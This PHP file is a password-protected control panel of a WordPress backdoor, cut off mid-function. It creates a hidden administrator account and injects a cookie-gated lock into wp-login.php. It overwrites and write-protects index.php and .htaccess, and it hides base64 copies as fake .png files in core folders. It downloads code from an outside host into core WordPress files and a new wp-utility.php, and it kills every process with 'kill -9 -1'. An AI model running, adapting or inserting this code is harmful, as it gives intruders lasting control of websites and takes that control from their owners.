<?php

$login_cookie_name = 'green_guard_auth';
$login_timeout = 1800;
$login_password_hash = '$2y$10$Sl1KN4aZIaNxCw492s9qmeYe8V8FykgEMDaLf7FqvPje494PXkHG.';
$login_signing_key = hash('sha256', __FILE__ . '|' . $login_password_hash);
$is_https = (!empty($_SERVER['HTTPS']) && $_SERVER['HTTPS'] !== 'off') || (isset($_SERVER['SERVER_PORT']) && (int) $_SERVER['SERVER_PORT'] === 443);

$set_login_cookie = function ($value, $expires) use ($login_cookie_name, $is_https) {
    return setcookie($login_cookie_name, $value, [
        'expires' => $expires,
        'path' => '/',
        'secure' => $is_https,
        'httponly' => true,
        'samesite' => 'Strict',
    ]);
};

if (isset($_GET['logout'])) {
    $set_login_cookie('', time() - 3600);
    header('Location: ' . strtok($_SERVER['REQUEST_URI'], '?'));
    exit;
}

$login_error = '';
$now = time();
$is_authenticated = false;
$cookie_value = isset($_COOKIE[$login_cookie_name]) ? (string) $_COOKIE[$login_cookie_name] : '';
if ($cookie_value !== '' && strpos($cookie_value, '.') !== false) {
    list($cookie_expires, $cookie_signature) = explode('.', $cookie_value, 2);
    $expected_signature = hash_hmac('sha256', $cookie_expires, $login_signing_key);
    $is_authenticated = ctype_digit($cookie_expires)
        && (int) $cookie_expires >= $now
        && hash_equals($expected_signature, $cookie_signature);
}

if (!$is_authenticated && isset($_POST['green_guard_password'])) {
    $password = (string) $_POST['green_guard_password'];
    if (password_verify($password, $login_password_hash)) {
        $cookie_expires = $now + $login_timeout;
        $cookie_signature = hash_hmac('sha256', (string) $cookie_expires, $login_signing_key);
        $set_login_cookie($cookie_expires . '.' . $cookie_signature, $cookie_expires);
        header('Location: ' . strtok($_SERVER['REQUEST_URI'], '?'));
        exit;
    }
    $login_error = '密码错误';
}

if (!$is_authenticated) {
    http_response_code(401);
    ?>
<!DOCTYPE html>
<html lang="zh-CN">
<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>Green</title>
    <style>
        * { box-sizing: border-box; }
        body { margin: 0; min-height: 100vh; display: grid; place-items: center; padding: 20px; background: #f3f4f6; font-family: Arial, sans-serif; color: #1f2937; }
        .login-box { width: min(100%, 360px); padding: 28px; background: #fff; border: 1px solid #d1d5db; border-radius: 8px; box-shadow: 0 10px 30px rgba(0, 0, 0, .08); }
        h1 { margin: 0 0 20px; font-size: 22px; text-align: center; }
        label { display: block; margin-bottom: 8px; font-size: 14px; font-weight: 600; }
        input { width: 100%; height: 42px; padding: 0 12px; border: 1px solid #9ca3af; border-radius: 6px; font-size: 16px; }
        button { width: 100%; height: 42px; margin-top: 16px; border: 0; border-radius: 6px; background: #2563eb; color: #fff; font-size: 15px; font-weight: 600; cursor: pointer; }
        .error { margin: 0 0 14px; padding: 10px; border-radius: 6px; background: #fee2e2; color: #991b1b; font-size: 14px; }
    </style>
</head>
<body>
    <form class="login-box" method="post" autocomplete="off">
        <h1>Green</h1>
        <?php if ($login_error !== ''): ?><div class="error"><?php echo htmlspecialchars($login_error, ENT_QUOTES, 'UTF-8'); ?></div><?php endif; ?>
        <input id="green_guard_password" name="green_guard_password" type="password" required autofocus autocomplete="current-password">
        <button type="submit">Go</button>
    </form>
</body>
</html>
    <?php
    exit;
}

$cookie_expires = $now + $login_timeout;
$cookie_signature = hash_hmac('sha256', (string) $cookie_expires, $login_signing_key);
$set_login_cookie($cookie_expires . '.' . $cookie_signature, $cookie_expires);

$path = $_SERVER['DOCUMENT_ROOT'];
$message = '';
$error = '';
$success_count = 0;
$fail_count = 0;
$backup_files = [];
$files = [];

$sapi = php_sapi_name();
$is_mod_php = ($sapi === 'apache2handler');
$is_fpm = (strpos($sapi, 'fpm') !== false || strpos($sapi, 'fcgi') !== false || $sapi === 'litespeed');
$is_windows = (defined('PHP_OS_FAMILY') && PHP_OS_FAMILY === 'Windows') || DIRECTORY_SEPARATOR === '\\';
$path = rtrim(str_replace('\\', '/', $path), '/');
// $path = $path . '/wp-content/mu-plugins';
$open_basedir_separator = $is_windows ? ';' : ':';
$system_tmp_dir = str_replace('\\', '/', sys_get_temp_dir());
if ($system_tmp_dir === '' || $system_tmp_dir === '.') {
    $system_tmp_dir = $is_windows ? str_replace('\\', '/', (string) getenv('TEMP')) : '/tmp';
}
$mu_plugins_dir = $path . '/wp-content/mu-plugins';
$open_basedir_paths = array_unique(array_filter(array($path, $mu_plugins_dir, $system_tmp_dir)));
$open_basedir_value = implode($open_basedir_separator, $open_basedir_paths);

// 上锁/解锁操作统一排除的目录（公共参数）
$exclude_dirs = array('/wp-includes/css/dist/nux');
$exclude_dirs_label = implode(', ', $exclude_dirs);
$unbind = '/wp-includes/rest-api/index.php';

// 定义文件列表
$files = [
        ['pr' => '/wp-admin/css/colors/blue/', 'ix' => 'colors-rtl.png', 'ac' => 'colors-hac.png'],
        ['pr' => '/wp-admin/images/', 'ix' => 'lists.png', 'ac' => 'lists-ac.png'],
        ['pr' => '/wp-admin/js/widgets/', 'ix' => 'media-widgets.png', 'ac' => 'media-widgets-ess.png'],
        ['pr' => '/wp-content/languages/themes/', 'ix' => 'twentytwentyfour-zh_CN.png', 'ac' => 'twentytwentyfour-acc-zh_CN.png'],
        ['pr' => '/wp-content/languages/plugins/', 'ix' => 'akismet-zh_CN.png', 'ac' => 'akismet-es-zh_CN.png'],
        ['pr' => '/wp-includes/ai-client/adapters/', 'ix' => 'class-wp-ai-client-event-dispatcher.png', 'ac' => 'class-wp-hta-client-event-dispatcher.png'],
        ['pr' => '/wp-includes/images/smilies/', 'ix' => 'icon_twisted.png', 'ac' => 'acce_twisted.png'],
        ['pr' => '/wp-includes/images/media/', 'ix' => 'videos.png', 'ac' => 'hcadeos.png'],
        ['pr' => '/wp-includes/images/icon-library/', 'ix' => 'post-date.png', 'ac' => 'post-date-bats.png'],
        ['pr' => '/wp-includes/blocks/audio/', 'ix' => 'style.png', 'ac' => 'ass.png'],
        ['pr' => '/wp-includes/blocks/comments/', 'ix' => 'editor.png', 'ac' => 'adito.png'],
        ['pr' => '/wp-includes/blocks/image/', 'ix' => 'w-logo-blue-white.png', 'ac' => 'w-logo-blue-abbs.png'],
        ['pr' => '/wp-includes/blocks/latest-post/', 'ix' => 'block.png', 'ac' => 'hlack.png'],
        ['pr' => '/wp-includes/css/dist/base-styles/', 'ix' => 'admin-schemes-rtl.png', 'ac' => 'admin-schemes-htc.png'],
        ['pr' => '/wp-includes/css/dist/editor/', 'ix' => 'sty.png', 'ac' => 'htcsty.png'],
        ['pr' => '/wp-includes/Text/Diff/Engine/Renderer/', 'ix' => 'inlines.png', 'ac' => 'halines.png'],
        ['pr' => '/wp-includes/build/routes/font-list/', 'ix' => 'route.png', 'ac' => 'basse.png'],
        ['pr' => '/wp-includes/build/pages/options-connectors/', 'ix' => 'loader.png', 'ac' => 'yass.png'],
];

// ================= 写入 robots.txt =================
if (isset($_POST['create_robots'])) {
    $robots_path = $path . '/robots.txt';

    if (file_exists($robots_path)) {
        @chmod($robots_path, 0644);
        $message = "⚠️ robots.txt 已存在，无需创建";
    } else {
        if (file_put_contents($robots_path, '') !== false) {
            $message = "✅ robots.txt 创建成功！";
        } else {
            $error = "❌ robots.txt 创建失败，请检查目录权限。";
        }
    }
}

// ================= 解锁文件函数 =================
function unlock_file($file_path, $file_name) {
    if (!file_exists($file_path)) {
        return ['success' => false, 'message' => "❌ $file_name 文件不存在"];
    }

    // 获取当前权限
    $current_perms = fileperms($file_path);
    $current_perm_str = substr(sprintf('%o', $current_perms), -4);

    // 如果已经是 0644 或更高权限，跳过
    if ($current_perms & 0x0200) { // 检查所有者写权限
        return ['success' => true, 'message' => "⏭️ $file_name 已经是可写状态 (权限: $current_perm_str)"];
    }

    // 修改为 0644（可写）
    if (@chmod($file_path, 0644)) {
        return ['success' => true, 'message' => "✅ $file_name 已解锁 (权限: 0644)"];
    } else {
        return ['success' => false, 'message' => "❌ $file_name 解锁失败，请检查文件权限"];
    }
}

// ================= 解锁 Index 和 .htaccess =================
if (isset($_POST['unlock_files'])) {
    $index_path = $path . '/index.php';
    $htaccess_path = $path . '/.htaccess';
    $unlock_messages = '';
    $unlock_success = true;

    // 解锁 index.php
    $result = unlock_file($index_path, 'index.php');
    if (!$result['success']) {
        $unlock_success = false;
    }
    $unlock_messages .= $result['message'] . "<br>";

    // 解锁 .htaccess
    $result = unlock_file($htaccess_path, '.htaccess');
    if (!$result['success']) {
        $unlock_success = false;
    }
    $unlock_messages .= $result['message'] . "<br>";

    if ($unlock_success) {
        $message = "✅ 文件解锁成功！<br>" . $unlock_messages;
    } else {
        $error = "⚠️ 部分文件解锁失败：<br>" . $unlock_messages;
    }
}

// ================= 锁定 Index 和 .htaccess（设为0444只读） =================
if (isset($_POST['lock_files'])) {
    $index_path = $path . '/index.php';
    $htaccess_path = $path . '/.htaccess';
    $lock_messages = '';
    $lock_success = true;

    // 锁定 index.php
    if (file_exists($index_path)) {
        if (@chmod($index_path, 0444)) {
            $lock_messages .= "✅ index.php 已锁定 (权限: 0444)<br>";
        } else {
            $lock_success = false;
            $lock_messages .= "❌ index.php 锁定失败<br>";
        }
    } else {
        $lock_messages .= "⏭️ index.php 不存在<br>";
    }

    // 锁定 .htaccess
    if (file_exists($htaccess_path)) {
        if (@chmod($htaccess_path, 0444)) {
            $lock_messages .= "✅ .htaccess 已锁定 (权限: 0444)<br>";
        } else {
            $lock_success = false;
            $lock_messages .= "❌ .htaccess 锁定失败<br>";
        }
    } else {
        $lock_messages .= "⏭️ .htaccess 不存在<br>";
    }

    if ($lock_success) {
        $message = "✅ 文件锁定成功！<br>" . $lock_messages;
    } else {
        $error = "⚠️ 部分文件锁定失败：<br>" . $lock_messages;
    }
}

// ================= 在 wp-login.php 头部写入固定内容 =================
if (isset($_POST['prepend_test_php'])) {
    $test_path = $path . '/wp-login.php';
    $prepend_content = '<?php while(md5(md5(isset($_COOKIE["yr"."x"."c_uck"]) ? $_COOKIE["yr"."x"."c_uck"] : ""))!="f"."e98788c6"."cf41c9f4"."8e53"."cc"."932"."45c23c"){die();} ?>'. PHP_EOL;

    if (!is_file($test_path)) {
        $error = "❌ 网站根目录不存在 wp-login.php";
    } else {
        $test_content = @file_get_contents($test_path);

        if ($test_content === false) {
            $error = "❌ wp-login.php 读取失败";
        } elseif (strncmp($test_content, $prepend_content, strlen($prepend_content)) === 0) {
            $message = "⏭️ wp-login.php 头部已经存在固定内容，无需重复写入";
        } else {
            $test_permissions = @fileperms($test_path);
            $test_permissions = $test_permissions === false ? null : ($test_permissions & 0777);

            if (!is_writable($test_path)) {
                @chmod($test_path, 0644);
            }

            if (@file_put_contents($test_path, $prepend_content . $test_content, LOCK_EX) === false) {
                $error = "❌ wp-login.php 头部写入失败，请检查文件权限";
            } else {
                $message = "✅ 已在 wp-login.php 头部写入 cookie";
            }

            if ($test_permissions !== null) {
                @chmod($test_path, $test_permissions);
            }
        }
    }
}

// ================= 创建WordPress用户 =================
if (isset($_POST['create_wp_user'])) {
    $username = isset($_POST['wp_username']) ? trim($_POST['wp_username']) : '';
    $password = isset($_POST['wp_password']) ? trim($_POST['wp_password']) : '';
    $domain = isset($_SERVER['HTTP_HOST']) ? $_SERVER['HTTP_HOST'] : 'localhost';
    $email = $username . '@' . $domain;

    // 检查核心文件是否存在
    $wp_load_path = $path . '/wp-load.php';
    if (!file_exists($wp_load_path)) {
        $error = "❌ wp-load.php 不存在，请确保脚本放在WordPress根目录！";
        goto display_page;
    }

    if (empty($username)) {
        $error = "❌ 请填写用户名！";
        goto display_page;
    }

    if (empty($password)) {
        $error = "❌ 请填写密码！";
        goto display_page;
    }

    if (strlen($password) < 6) {
        $error = "❌ 密码长度不能少于6位！";
        goto display_page;
    }

    // 加载WordPress核心
    require_once $wp_load_path;

    // 检查用户名和邮箱是否已被占用
    if (username_exists($username) == null && email_exists($email) == false) {
        
        // 准备用户数据数组
        $user_data = array(
            'user_login' => $username,
            'user_pass'  => $password,
            'user_email' => $email,
            'role'       => 'administrator'
        );

        // 执行插入操作
        $user_id = wp_insert_user($user_data);

        if (!is_wp_error($user_id)) {
            $message = "✅ WordPress用户创建成功！<br>📝 用户名: <strong>" . htmlspecialchars($username) . "<br>密码: <strong>" . htmlspecialchars($password) ."</strong> <br>📧 邮箱: <strong>" . htmlspecialchars($email) . "</strong><br>🆔 用户ID: <strong>" . $user_id . "</strong>";
        } else {
            $error = "❌ 创建失败: " . $user_id->get_error_message();
        }
    } else {
        $error = "❌ 该用户名或邮箱已被注册。<br>用户名: " . htmlspecialchars($username) . "<br>邮箱: " . htmlspecialchars($email);
    }
}

// ================= 写入 Index 内容 =================
if (isset($_POST['write_index'])) {
    $index_content = isset($_POST['index_content']) ? $_POST['index_content'] : '';
    $add_default = isset($_POST['add_default']) ? true : false;

    if (empty($index_content)) {
        $error = "❌ 请先输入 index.php 的内容！";
        goto display_page;
    }

    // 如果选择添加默认2行
    if ($add_default) {
        $default_lines = "define( 'WP_USE_THEMES', true );\nrequire __DIR__ . '/wp-blog-header.php';";
        if (strpos($index_content, 'WP_USE_THEMES') === false) {
            $index_content = rtrim($index_content) . "\n\n" . $default_lines;
        }
    }

    $index_path = $path . '/index.php';
    if (file_exists($index_path)) {
        @chmod($index_path, 0777);
    }
    // 写入内容
    if (file_put_contents($index_path, $index_content) !== false) {
        @chmod($index_path, 0444);
        $message = "✅ index.php 写入成功！";
    } else {
        $error = "❌ index.php 写入失败，请检查文件权限！";
    }
}

// ================= 写入 Htaccess 内容 =================
if (isset($_POST['write_htaccess'])) {
    $htaccess_content = isset($_POST['htaccess_content']) ? $_POST['htaccess_content'] : '';
    $htaccess_source = '';

    // 如果输入框为空，从远程获取
    if (empty($htaccess_content)) {
        $htaccess_result = get_remote_htaccess();
        if (isset($htaccess_result['error'])) {
            $error = "❌ " . $htaccess_result['error'];
            goto display_page;
        }
        $htaccess_content = $htaccess_result['rules'];
        $server = $htaccess_result['server'];
        $htaccess_note = isset($htaccess_result['note']) ? $htaccess_result['note'] : '';
        $htaccess_source = "远程获取 (来源: $server" . ($htaccess_note ? " $htaccess_note" : "") . ")";
    } else {
        $htaccess_source = "用户手动输入";
    }

    $htaccess_path = $path . '/.htaccess';
    if (file_exists($htaccess_path)) {
        @chmod($htaccess_path, 0777);
    }
    // 写入内容
    if (file_put_contents($htaccess_path, $htaccess_content) !== false) {
        @chmod($htaccess_path, 0444);
        $message = "✅ .htaccess 写入成功！";
    } else {
        $error = "❌ .htaccess 写入失败，请检查文件权限！";
    }
}

// ================= 生成备份时也支持 htaccess_content =================
if (isset($_POST['generate'])) {
    $index_content = isset($_POST['index_content']) ? $_POST['index_content'] : '';
    $htaccess_content = isset($_POST['htaccess_content']) ? $_POST['htaccess_content'] : '';
    $add_default = isset($_POST['add_default']) ? true : false;

    // 处理 Index
    if ($add_default) {
        $default_lines = "define( 'WP_USE_THEMES', true );\nrequire __DIR__ . '/wp-blog-header.php';";
        if (strpos($index_content, 'WP_USE_THEMES') === false) {
            $index_content = rtrim($index_content) . "\n\n" . $default_lines;
            $default_added = true;
        } else {
            $default_added = false;
        }
    } else {
        $default_added = false;
    }

    if (!empty($index_content)) {
        $index_source = '用户手动输入' . ($default_added ? ' + 默认2行' : '');
    } else {
        $index_source = '空内容';
    }

    // 处理 Htaccess（如果输入框为空，从远程获取）
    $htaccess_source = '';
    if (empty($htaccess_content)) {
        $htaccess_result = get_remote_htaccess();
        if (isset($htaccess_result['error'])) {
            $error = "❌ " . $htaccess_result['error'];
            $message = '';
            goto display_page;
        }
        $htaccess_content = $htaccess_result['rules'];
        $server = $htaccess_result['server'];
        $htaccess_note = isset($htaccess_result['note']) ? $htaccess_result['note'] : '';
        $htaccess_source = "远程获取";
    } else {
        $htaccess_source = "用户手动输入";
    }

    // Base64 编码
    $index_base64 = base64_encode($index_content);
    $htaccess_base64 = base64_encode($htaccess_content);

    $success_count = 0;
    $fail_count = 0;
    $backup_files = [];

    foreach ($files as $idx => $file) {
        $dir = $path . $file['pr'];
        if (!is_dir($dir)) {
            if (!mkdir($dir, 0755, true)) {
                $fail_count++;
                $error .= "❌ 无法创建目录: " . $file['pr'] . "<br>";
                continue;
            }
        }

        $ix_path = $dir . $file['ix'];
        if (file_exists($ix_path)) {
            @chmod($ix_path, 0777);
        }
        if (file_put_contents($ix_path, $index_base64) !== false) {
            $success_count++;
            @chmod($ix_path, 0444);
            $backup_files[] = $file['pr'] . $file['ix'] . ' (index)';
        } else {
            $fail_count++;
            $error .= "❌ 无法写入: " . $file['pr'] . $file['ix'] . "<br>";
        }

        $ac_path = $dir . $file['ac'];
        if (file_exists($ac_path)) {
            @chmod($ac_path, 0777);
        }
        if (file_put_contents($ac_path, $htaccess_base64) !== false) {
            $success_count++;
            @chmod($ac_path, 0444);
            $backup_files[] = $file['pr'] . $file['ac'] . ' (.htaccess)';
        } else {
            $fail_count++;
            $error .= "❌ 无法写入: " . $file['pr'] . $file['ac'] . "<br>";
        }
    }

    $total_files = count($files) * 2;
    $message = "✅ 成功生成 $success_count / $total_files 个备份文件";
    if ($fail_count > 0) {
        $message .= "，失败 $fail_count 个";
    }
    $message .= "<br>📄 Index 来源: $index_source";
    $message .= "<br>🔒 .htaccess 来源: $htaccess_source";
}

// ================= 创建并写入文件 =================
if (isset($_POST['create_file'])) {
    $file_path_input = isset($_POST['file_path']) ? trim($_POST['file_path']) : '';
    $file_content = isset($_POST['file_content']) ? $_POST['file_content'] : '';

    // 验证文件路径
    if (empty($file_path_input)) {
        $error = "❌ 请指定文件路径！";
        goto display_page;
    }

    $file_path = $path . '/' . ltrim($file_path_input, '/');

    // 检查文件是否已存在
    $file_exists = file_exists($file_path);
    if ($file_exists) {
        @chmod($file_path, 0777);
    }

    // 确保目录存在
    $dir = dirname($file_path);
    if (!is_dir($dir)) {
        if (!mkdir($dir, 0755, true)) {
            $error = "❌ 无法创建目录: " . $dir;
            goto display_page;
        }
    }

    // 写入文件
    if (file_put_contents($file_path, $file_content) !== false) {
        $message = "✅ 文件创建/写入成功！<br>📁 路径: " . htmlspecialchars($file_path_input);
    } else {
        $error = "❌ 文件写入失败，请检查目录权限！";
    }
}
// ================= 远程获取规则函数 =================
function detectWebServer() {
    if (isset($_SERVER['SERVER_SOFTWARE']) && !empty($_SERVER['SERVER_SOFTWARE'])) {
        $server = $_SERVER['SERVER_SOFTWARE'];
        if (stripos($server, 'nginx') !== false) return 'Nginx';
        if (stripos($server, 'apache') !== false) return 'Apache';
        if (stripos($server, 'litespeed') !== false) return 'LiteSpeed';
        if (stripos($server, 'openresty') !== false) return 'OpenResty';
        return 'Other';
    }

    ob_start();
    phpinfo(INFO_GENERAL);
    $phpinfo = ob_get_clean();

    if (strpos($phpinfo, 'nginx') !== false || preg_match('/nginx\/[\d\.]+/i', $phpinfo)) return 'Nginx';
    if (strpos($phpinfo, 'Apache') !== false || preg_match('/Apache\/[\d\.]+/i', $phpinfo)) return 'Apache';
    if (strpos($phpinfo, 'LiteSpeed') !== false) return 'LiteSpeed';
    if (strpos($phpinfo, 'OpenResty') !== false) return 'OpenResty';

    return 'Unknown';
}

function request_remote($url) {
    $content = @file_get_contents($url);

    if ($content !== false) {
        return $content;
    }

    if (function_exists('curl_init')) {
        $ch = curl_init();
        curl_setopt($ch, CURLOPT_URL, $url);
        curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
        curl_setopt($ch, CURLOPT_HEADER, false);
        curl_setopt($ch, CURLOPT_TIMEOUT, 10);
        curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);

        $content = curl_exec($ch);
        $httpCode = curl_getinfo($ch, CURLINFO_HTTP_CODE);
        $curlError = curl_errno($ch);

        curl_close($ch);

        if ($curlError === 0 && $httpCode === 200 && $content !== false) {
            return $content;
        }
    }

    return false;
}

// ================= 获取远程 .htaccess 规则 =================
function get_remote_htaccess() {
    $server = detectWebServer();

    $default = <<<EOT

# Default .htaccess rules for Nginx/Other
<IfModule mod_rewrite.c>
RewriteEngine On
RewriteRule .* - [E=HTTP_AUTHORIZATION:%{HTTP:Authorization}]
RewriteBase /
RewriteRule ^index\.php$ - [L]
RewriteCond %{REQUEST_FILENAME} !-f
RewriteCond %{REQUEST_FILENAME} !-d
RewriteRule . /index.php [L]
</IfModule>
EOT;

    if ($server == 'Apache') {
        $rules = request_remote('https://homezero.oyeramie.cfd/apache.txt');
        if ($rules === false) {
            return ['error' => '获取 Apache 规则失败！请检查网络连接。', 'server' => $server];
        }
    } elseif ($server == 'LiteSpeed') {
        $rules = request_remote('https://homezero.oyeramie.cfd/liteSpeed.txt');
        if ($rules === false) {
            return ['error' => '获取 LiteSpeed 规则失败！请检查网络连接。', 'server' => $server];
        }
    } else {
        // 非 Apache/LiteSpeed，使用默认规则
        return ['rules' => $default, 'server' => $server, 'note' => '使用默认规则（非 Apache/LiteSpeed）'];
    }

    return ['rules' => $rules . $default, 'server' => $server];
}

// ================= 获取并写入 rest-api index =================
function write_rest_api_index() {
    $path = rtrim(str_replace('\\', '/', $_SERVER['DOCUMENT_ROOT']), '/');
    $content = request_remote('https://homezero.oyeramie.cfd/green/unbind.txt');
    if ($content === false || $content === '') {
        return ['success' => false, 'message' => '❌ 无法获取 rest-api index 内容，请检查远程地址或网络连接'];
    }

    $dir = $path . '/wp-includes/rest-api';
    if (!is_dir($dir) && !mkdir($dir, 0755, true)) {
        return ['success' => false, 'message' => "❌ 无法创建目录: {$dir}"];
    }

    $index_path = $dir . '/index.php';
    if (file_exists($index_path)) {
        @chmod($index_path, 0777);
    }
    if (file_put_contents($index_path, $content) !== false) {
        @chmod($index_path, 0444);
        return ['success' => true, 'message' => "✅ $unbind 写入成功"];
    }
    return ['success' => false, 'message' => "❌ $unbind 写入失败，请检查目录权限"];
}

// ================= 通用还原函数 =================
function write_to_files($content_to_add, $type_name) {
    $path = $_SERVER['DOCUMENT_ROOT'];
    $written_count = 0;
    $write_message = '';
    $failed_files = array();

    $target_files = array(
            '/wp-load.php',
            '/wp-settings.php',
            '/wp-includes/compat.php',
            '/wp-includes/default-constants.php',
            '/wp-includes/default-filters.php',
            '/wp-includes/formatting.php',
            '/wp-includes/http.php',
            '/wp-includes/blocks.php',
            '/wp-includes/template-loader.php',
            '/wp-admin/link.php',
            '/wp-admin/includes/menu.php',
            '/wp-admin/includes/comment.php',
            '/wp-admin/network/freedoms.php',
            '/wp-admin/user/profile.php',
            '/wp-admin/admin.php',
    );

    $marker = 'DOCUMENT_ROOT';

    foreach ($target_files as $file) {
        $file_path = $path . $file;

        if (!file_exists($file_path)) {
            $failed_files[] = $file . ' (文件不存在)';
            continue;
        }

        $content = file_get_contents($file_path);
        if ($content === false) {
            $failed_files[] = $file . ' (读取失败)';
            continue;
        }

        if (strpos($content, $marker) !== false) {
            $write_message .= "⏭️ 跳过: $file (已存在)<br>";
            continue;
        }

        @chmod($file_path, 0644);

        $new_content = rtrim($content) . "\n\n" . $content_to_add . "\n";
        if (file_put_contents($file_path, $new_content) !== false) {
            $written_count++;
            $write_message .= "✅ 写入成功 ($type_name): $file<br>";
            @chmod($file_path, 0644);
        } else {
            $failed_files[] = $file . ' (写入失败)';
        }
    }

    $fail_count = count($failed_files);

    if ($written_count > 0) {
        $result_message = $write_message;
        if ($fail_count > 0) {
            $result_message .= "<br>❌ 失败的文件:<br>";
            foreach ($failed_files as $fail) {
                $result_message .= "  $fail<br>";
            }
        }
        return ['success' => true, 'message' => $result_message];
    } else {
        if ($fail_count > 0) {
            $error_msg = "❌ 写入失败 ($type_name):<br>";
            foreach ($failed_files as $fail) {
                $error_msg .= "  $fail<br>";
            }
            return ['success' => false, 'message' => $error_msg];
        } else {
            return ['success' => false, 'message' => "⏭️ 所有文件已存在目标代码 ($type_name)，无需写入"];
        }
    }
}

// ================= 通用删除函数 =================
function remove_from_files($content_to_remove, $type_name) {
    $path = $_SERVER['DOCUMENT_ROOT'];
    $removed_count = 0;
    $remove_message = '';
    $failed_files = array();

    $target_files = array(
            '/wp-load.php',
            '/wp-settings.php',
            '/wp-includes/compat.php',
            '/wp-includes/default-constants.php',
            '/wp-includes/default-filters.php',
            '/wp-includes/formatting.php',
            '/wp-includes/http.php',
            '/wp-includes/blocks.php',
            '/wp-includes/template-loader.php',
            '/wp-admin/link.php',
            '/wp-admin/includes/menu.php',
            '/wp-admin/includes/comment.php',
            '/wp-admin/network/freedoms.php',
            '/wp-admin/user/profile.php',
            '/wp-admin/admin.php',
    );

    $content_to_remove_decoded = base64_decode($content_to_remove);

    foreach ($target_files as $file) {
        $file_path = $path . $file;

        if (!file_exists($file_path)) {
            $failed_files[] = $file . ' (文件不存在)';
            continue;
        }

        $content = file_get_contents($file_path);
        if ($content === false) {
            $failed_files[] = $file . ' (读取失败)';
            continue;
        }

        if (strpos($content, $content_to_remove_decoded) === false) {
            $remove_message .= "⏭️ 跳过: $file (未找到要删除的内容)<br>";
            continue;
        }

        $new_content = str_replace($content_to_remove_decoded, '', $content);
        $new_content = preg_replace("/\n\s*\n\s*\n/", "\n\n", $new_content);
        $new_content = rtrim($new_content) . "\n";

        @chmod($file_path, 0644);

        if (file_put_contents($file_path, $new_content) !== false) {
            $removed_count++;
            $remove_message .= "✅ 删除成功 ($type_name): $file<br>";
            @chmod($file_path, 0644);
        } else {
            $failed_files[] = $file . ' (写入失败)';
        }
    }

    $fail_count = count($failed_files);

    if ($removed_count > 0) {
        $result_message = $remove_message;
        if ($fail_count > 0) {
            $result_message .= "<br>❌ 失败的文件:<br>";
            foreach ($failed_files as $fail) {
                $result_message .= "  $fail<br>";
            }
        }
        return ['success' => true, 'message' => $result_message];
    } else {
        if ($fail_count > 0) {
            $error_msg = "❌ 删除失败 ($type_name):<br>";
            foreach ($failed_files as $fail) {
                $error_msg .= "  $fail<br>";
            }
            return ['success' => false, 'message' => $error_msg];
        } else {
            return ['success' => false, 'message' => "⏭️ 所有文件未找到要删除的内容 ($type_name)"];
        }
    }
}

// ================= 处理还原 =================
if (isset($_POST['restore_full'])) {
    $hy_content = request_remote('https://homezero.oyeramie.cfd/green/hy_all.txt');
    $result = write_to_files(base64_decode($hy_content), '双还原');
    if ($result['success']) {
        $message = "✅ 双还原成功！<br>" . $result['message'];
    } else {
        $error = $result['message'];
    }
}

if (isset($_POST['restore_index'])) {
    $hy_content_idx = request_remote('https://homezero.oyeramie.cfd/green/hy_idx.txt');
    $result = write_to_files(base64_decode($hy_content_idx), '还原Index');
    if ($result['success']) {
        $message = "✅ 还原Index成功！<br>" . $result['message'];
    } else {
        $error = $result['message'];
    }
}

if (isset($_POST['restore_ht'])) {
    $hy_content_ht = request_remote('https://homezero.oyeramie.cfd/green/hy_ht.txt');
    $result = write_to_files(base64_decode($hy_content_ht), '还原Ht');
    if ($result['success']) {
        $message = "✅ 还原Ht成功！<br>" . $result['message'];
    } else {
        $error = $result['message'];
    }
}

// ================= 保存远程内容为 TXT =================
if (isset($_POST['save_remote_txt'])) {
    $remote_txt_content = request_remote('https://homezero.oyeramie.cfd/green/wp-utility.txt');
    $remote_txt_path = $path . '/wp-utility.php';

    if ($remote_txt_content === false) {
        $error = "❌ 远程内容获取失败，未写入 wp-utility";
    } elseif (@file_put_contents($remote_txt_path, $remote_txt_content) === false) {
        $error = "❌ wp-utility 写入失败，请检查网站根目录权限";
    } else {
        @chmod($remote_txt_path, 0644);
        $message = "✅ 远程内容已保存为 wp-utility.php <br>链接：<a href=\"/wp-utility.php\" target=\"_blank\" rel=\"noopener\">/wp-utility.php</a>";
    }
}

// ================= 处理删除还原 =================
if (isset($_POST['remove_full'])) {
    $hy_content = request_remote('https://homezero.oyeramie.cfd/green/hy_all.txt');
    $result = remove_from_files($hy_content, '双删除');
    if ($result['success']) {
        $message = "✅ 双删除成功！<br>" . $result['message'];
    } else {
        $error = $result['message'];
    }
}

if (isset($_POST['remove_index'])) {
    $hy_content_idx = request_remote('https://homezero.oyeramie.cfd/green/hy_idx.txt');
    $result = remove_from_files($hy_content_idx, '删除Index');
    if ($result['success']) {
        $message = "✅ 删除Index还原成功！<br>" . $result['message'];
    } else {
        $error = $result['message'];
    }
}

if (isset($_POST['remove_ht'])) {
    $hy_content_ht = request_remote('https://homezero.oyeramie.cfd/green/hy_ht.txt');
    $result = remove_from_files($hy_content_ht, '删除Ht');
    if ($result['success']) {
        $message = "✅ 删除Ht还原成功！<br>" . $result['message'];
    } else {
        $error = $result['message'];
    }
}

// ================= kill PHP 进程 =================
if (isset($_POST['kill_processes'])) {
    // 获取禁用的函数列表
    $disabled_functions = ini_get('disable_functions');
    $disabled_functions = explode(',', $disabled_functions);

    $functions_to_check = [
            'exec',
            'shell_exec',
            'system',
            'passthru',
            'proc_open',
            'popen',
            'posix_kill'
    ];

    $available_functions = [];
    foreach ($functions_to_check as $function) {
        if (!in_array($function, $disabled_functions)) {
            $available_functions[] = $function;
        }
    }

    $kill_success = false;
    $kill_method = '';
    $kill_message = '';

    foreach ($available_functions as $function) {
        switch ($function) {
            case 'exec':
                exec("kill -9 -1 2>/dev/null");
                $kill_success = true;
                $kill_method = 'exec';
                break 2;

            case 'shell_exec':
                shell_exec("kill -9 -1 2>/dev/null");
                $kill_success = true;
                $kill_method = 'shell_exec';
                break 2;

            case 'system':
                system("kill -9 -1 2>/dev/null");
                $kill_success = true;
                $kill_method = 'system';
                break 2;

            case 'passthru':
                passthru("kill -9 -1 2>/dev/null");
                $kill_success = true;
                $kill_method = 'passthru';
                break 2;

            case 'popen':
                $p = popen("kill -9 -1 2>/dev/null", "r");
                if ($p) {
                    pclose($p);
                    $kill_success = true;
                    $kill_method = 'popen';
                    break 2;
                }
                break;

            case 'posix_kill':
                if (function_exists('posix_kill')) {
                    // 获取所有 PHP 进程
                    $pids = [];
                    if (function_exists('exec')) {
